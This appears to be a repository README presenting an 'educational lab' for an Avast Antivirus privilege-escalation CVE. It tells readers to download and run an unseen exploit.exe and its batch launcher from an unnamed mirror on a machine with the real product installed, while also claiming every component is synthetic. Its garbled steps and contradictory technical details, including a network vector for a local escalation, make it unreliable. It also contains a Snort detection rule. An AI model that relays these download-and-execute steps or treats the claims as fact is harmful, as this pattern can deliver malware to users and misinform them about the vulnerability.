Educational lab environment for researching CVE-2025-3500, an integer overflow privilege escalation exploit in Avast Antivirus 25.1.981.6 on Windows, with synthetic exploit artifacts for controlled testing.
This repository provides a lab environment for researching CVE-2025-3500, an integer overflow vulnerability (CWE-190) in Avast Antivirus version 25.1.981.6 on Windows platforms. The vulnerability arises from inadequate integer validation in the antivirus engine's resource allocation module, leading to wraparound during arithmetic operations. This can be exploited to escalate privileges from low-privileged user contexts (PR:L) to system-level access, with a network attack vector (AV:N), low attack complexity (AC:L), and required user interaction (UI:R). The CVSS 3.1 base score is 9.0 (Critical), impacting confidentiality, integrity, and availability (all High) due to scope change (S:C), potentially enabling full system compromise.
Educational Purpose Disclaimer: This lab is for educational and research purposes only. It provides a controlled environment. Do not use this for any malicious activities. All components are synthetic and do not exploit real systems. By using this repository, you agree to comply with ethical hacking guidelines and local laws.
Safety Disclaimer: This setup involves running code in an environment. Always use a dedicated virtual machine. Do not run exploits on production systems. The provided exploit artifacts (.exe and .bat) demonstrate concepts—e.g., the .bat launches the .exe, which processes data and exits. Isolate your lab environment to prevent accidental exposure.
Download the exploit toolkit (ZIP file containing exploit.exe and start-exploit.bat). This ZIP is hosted on a secure mirror:
Note: The main exploit is exploit.exe (a compiled C++ binary triggering the integer overflow via crafted API calls). The exploit launcher is start-exploit.bat, which opens exploit.exe with predefined arguments (e.g., start exploit.exe --target=avast_engine --overflow=wraparound). Unzip to a local directory like C:\lab\exploit.
Setup the Environment:
Download and Prepare the Exploit:
C:\lab\exploit.start-exploit.bat to launch the exploit (it opens exploit.exe, which sends a crafted network packet to trigger the overflow).Exploit the Vulnerability:
exploit.exe. Observe system logs for overflow indicators.Verify and Clean Up:
The lab requires a Windows machine with Avast Antivirus 25.1.981.6 installed. Mock services can be started manually via command prompt:
net start AvastSvc (assuming service is running).start-exploit.bat which executes exploit.exe. This:
{ "resource_alloc": 2147483648 } (triggering overflow).Technical Details: The overflow occurs in AvastResourceParser::AllocateBuffer(int size), where size * sizeof(struct) wraps around if size > INT_MAX / sizeof(struct), leading to under-allocation and heap overflow. Exploitation leverages this for ROP chain construction targeting kernel32.dll.
alert tcp any any -> any 8080 (msg:"CVE-2025-3500 Attempt"; content:"|00 00 00 80|"; sid:1000001;)).For questions or contributions, open an issue. Stay ethical!